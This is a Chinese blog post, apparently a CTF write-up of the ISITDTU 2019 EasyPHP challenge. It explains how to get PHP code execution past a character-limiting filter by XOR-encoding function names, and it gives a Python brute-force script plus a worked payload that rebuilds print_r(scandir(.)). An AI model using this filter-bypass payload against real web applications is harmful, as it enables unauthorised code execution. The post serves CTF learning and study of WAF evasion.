首页 > 编程语言 >[ISITDTU 2019]EasyPHP RCE异或限制

[ISITDTU 2019]EasyPHP RCE异或限制

时间:2024-05-09 19:44:19浏览次数:28  
标签:ISITDTU -- 异或 2019 ff print ff% 替换

解决一个一直以来的问题,RCE的异或绕过问题。先了解下奇技淫巧吧--> https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

接下来说说今天的问题,在做异或问题是发现许多payload都是(xxxxx)^(%ff....),这都是怎么来的呢。
现在说说吧,就比如拿'_'号来说,实质上异或就是利用不可见字符来绕过waf的。

上面图中就是一次异或操作,将_表示为0xa0^0xff,而url解码中%a0是不可见字符,所以导致了可以利用其进行一些绕过操作。
在接下来就是试试操作'_GET'。

那么'_GET'就可以表示为(0xa0b8baab)^(0xffffffff),url表示就是(%a0%b8%ba%ab)^(%ff%ff%ff%ff)。这样就得到了我们想要的样子。
接下来就是本题中最难的部分了,针对输入的命令进行了符号种类的数量限制,count_chars(str,3)表示的是输出返回一个字符串,包含所有在str中使用过的不同字符。且这个输出长度不能超过13。

点击查看代码
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');
这里的思路就是看看能不能用其它字符通过多次异或得到。脚本跑看看,附上一个大佬脚本(以print_r(scandir(.))为例子)。
点击查看代码
now ='\'().;_acdinprst'
for i in now :
    for j in now:
        for k in now :
            for m in now :
                if ord(j)^ord(k)^ord(m) == ord(i):
                    if(j==k or j==m or m==k ):
                        continue
                    else :
                        print(i+'=='+j + '^'+ k +'^'+m)

可以看到的出了很多结果,因为我们有15个字符算上%ff为16个,所以要换掉3个字符,选出3个看看。

点击查看代码
t = s^c^d
n = i^c^d
r = a^c^p
print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)
这里我只用print_r来讲讲,先看看替换tnr的字母的异或值。

点击查看代码
t -->s   c   d 
   0x8c 0x9c 0x9b
n -->i   c   d 
   0x96 0x9c 0x9b
r -->a   c   p
   0x9e 0x9c 0x8f

print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
    print_r
-->((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
    tnr分别替换第一列也就是sia                             替换第二列 ccc         替换第三列 ddp
也就是说替换第一列时在原来的基础上替换掉tnr,替换其他列时在%ff%ff%ff%ff%ff%ff%ff基础上进行替换(看准tnr的位置),要替换n个,只有一个是替换原式中除了%ff的,n-1个是替换%ff那个的,最后异或即可。表达的可能不清晰,大概理解就行。
到这里这个困扰许久的问题也就告一段落了。本文只是我的理解,方便自己阅读,想看更为详细的推荐--> https://blog.csdn.net/Zero_Adam/article/details/115468669

标签:ISITDTU,--,异或,2019,ff,print,ff%,替换
From: https://www.cnblogs.com/jocker-love-you/p/18182969

相关文章

  • P5664 [CSP-S2019] Emiya 家今天的饭
    题意简述有\(n\)种方法和\(m\)种食材,第\(i\)种方法第\(j\)种食材做出来的菜有\(a_{i,j}\)种。有以下限制:至少做一盘菜。每种方法做出来的菜品数至多为\(1\)。所有以第\(i\)种食材做出来的菜品数不超过菜品种数的一半。求方案数。\(n\le100,m\le2\times10^......
  • buuctf-pwn-[OGeek2019]babyrop
    查看一下保护情况丢进ida里分析主函数调用了一个含有alarm的函数,这个函数会设置一个定时器,到时间自动退出程序为了方便调试,我们直接patch掉这个函数接着分析,主函数读入了一个随机数,并将其传入sub_804871F函数sub_804871F函数读取输入,并检查输入的是否和随机数相同,不相同......
  • buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system......
  • buuctf-pwn-[第五空间2019 决赛]PWN5-格式化字符串漏洞
    题目地址:https://buuoj.cn/challenges#[第五空间2019决赛]PWN5先检查一下保护情况再拖进ida里分析找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值从而进入if语句中,拿到shell什么是格式化字符串漏洞所谓格式化字符串漏洞,就是我们能控......
  • Acwing 143. 最大异或对
    题意:n个数,求任意两个数的最大异或值。思路:01前缀树总结:确定了处理01最大异或问题时,采用先bitset<32>(x).to_string()再插入和计算的方式。32位有符号整数的最大值应该是(1<<31)-1,而不是1<<32位,1<<32位代表这个1在第33位上。但是给bitset开的时候,要开到32位。此时最高位......
  • [CSCCTF 2019 Qual]FlaskLight
    [CSCCTF2019Qual]FlaskLight打开环境源代码里发现可通过GET方式传入参数简单验证发现存在SSTI{{''.__class__.__mro__[2].__subclasses__()}}#可以爆出所有的类编写脚本查找可利用的类利用subprocess.Popen执行命令importrequestsimportreimporthtmlimportt......
  • unicode编码 asis_2019_unicorn_shop
    这题就是让我们购买第四个商品当我们输入price为1337.0的时候他会报错,显示要我们只输入一个字符那么我们就要想怎样用一个字符来表示一个比1337还要大的数字答案是unicode编码(题目的名字给了提示)上这个网站我们直接查看2000的unicode编码把这个编码复制一......
  • 异或
    这道题目的思路比较好由于\(1\)到\(n\)的路径很多,我们猜想,任意选一条路径可以通过某种异或运算来得到最优解证明:假设我们选出的路径不是最优路径,那么对于另一条最优路径,一定可以通过我们选出的路径异或上若干个简单环来达到。举个例子说明假设我们选出的是直线段\(AE\),最优的......
  • 异或与区间加题解
    异或与区间加题解简要题意给定\(n,m,K,a_{1...n}\),和\(m\)个三元组\((x_i,y_i,z_i)\),定义\(calc(l,r)=a_l\bigoplusa_{l+1}\bigoplus...\bigoplusa_r\)。对于每个三元组\((x,y,z)\),对所有满足\(x\lel\ler\ley\,\calc(l,r)=K\)的区间\((l,r)\)内的每个数\(b......
  • 洛谷 P5293 [HNOI2019] 白兔之舞
    洛谷传送门所求即为:\[\begin{aligned}f_t&=\sum\limits_{m=0}^L\binom{L}{m}A^m[k\midm-t]\\&=\frac{1}{k}\sum\limits_{m=0}^L\binom{L}{m}A^m\sum\limits_{i=0}^{k-1}\omega_k^{i(m-t)}\\&=\frac{1}{k}\sum\l......